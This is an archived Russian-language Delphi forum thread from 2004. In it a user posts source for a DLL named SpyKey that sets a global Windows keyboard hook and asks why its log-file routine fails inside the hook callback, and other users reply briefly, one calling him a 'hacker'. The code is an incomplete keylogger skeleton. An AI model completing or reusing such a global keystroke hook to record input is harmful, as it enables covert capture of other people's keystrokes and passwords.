Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Основная";
Текущий архив: 2004.09.05;
Скачать: [xml.tar.bz2];

Вниз

Что-то не то с библиотекой   Найти похожие ветки 

 
Рома   (2004-08-21 13:47) [0]

Здравствуйте все! Буду очень благодарен, если объясните в чём дело. Не получается сделать так, чтобы библиотека записывала строки в файл. При её подключении (sethook) из другой программы  процедура CreateNewFile создаёт новый файл, что и требуется. Однако если запускать эту процедуру из указанного места в программе(после нажатия клавиши), то она ничего не делает. Просто какой-то парадокс. Вот исходник библиотеки:

library SpyKey;
uses Windows, SysUtils, Dialogs;
const FileName="LOG.TXT";
var
 MyHookHandle:Hhook = 0;
 TFile: TextFile;

procedure CreateNewFile;
begin
AssignFile(TFile,FileName);
ReWrite(TFile);
WriteLN(TFile, "Новый файл");
CloseFile(TFile);
end;

function MyCoolHook(Code: integer; wParam: word; lParam: Longint):LongInt;stdCall;
begin

if code<0 then Result := CallNextHookEx(MyHookHandle,Code, wParam, lParam)
else{проверка, какая кнопка нажата}
  begin
  result:=0;

  if(code=HC_ACTION)and(lParam<>lParam or $8000 shl 16)and
    (lParam<>lParam or $8000 shl 15) then
    begin
     //CreateNewFile - Почему-то из этого места функция никогда не выполняется!
     ShowMessage("Хм"); {Сообщение показывается при нажатии любой клавиши всегда}
    end;

CallNextHookEx(MyHookHandle,Code, wParam, lParam)//вызываю следующую ловушку
end;{if}

end;

procedure SetHook;stdCall;Export;
begin
//CreateNewFile - А отсюда выполняется нормально  ;
MyHookHandle := SetWindowsHookEx(WH_Keyboard, @MyCoolHook, hInstance, 0);//устанавливаю хук
end;

procedure UnHook;stdCall;Export;
begin
UnhookWindowsHookEx(MyHookHandle);
end;

exports
SetHook,
Unhook;

Begin
end.


 
Profi ©   (2004-08-21 14:11) [1]

Еще один "хакер"!


 
olookin ©   (2004-08-21 14:54) [2]

Наверное, условие

if(code=HC_ACTION)and(lParam<>lParam or $8000 shl 16)and
   (lParam<>lParam or $8000 shl 15) then
   
не выполняется


 
Рома   (2004-08-21 15:06) [3]

Нет, в том то и дело, что это условие прекрасно выполняется, и выводится сообщение "Хм", но функция CreateNewFile, которая должна выполняться перед выводом сообщения, ничего не делает. Вот сижу сейчас и не знаю что делать.



Страницы: 1 вся ветка

Форум: "Основная";
Текущий архив: 2004.09.05;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.45 MB
Время: 0.034 c
14-1092348935
Piter
2004-08-13 02:15
2004.09.05
Кто копался в Raize Component?


6-1087730110
amoral
2004-06-20 15:15
2004.09.05
У кого есть примеры/доки по написаню Proxy,Firewall, и про NDIS


3-1091949542
Shade
2004-08-08 11:19
2004.09.05
Сортировка записей


1-1092744398
sdw_syscoder
2004-08-17 16:06
2004.09.05
Подождать нажатие кнопки


3-1092227715
BRemB
2004-08-11 16:35
2004.09.05
Проблема со сканированием БД в BDE





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский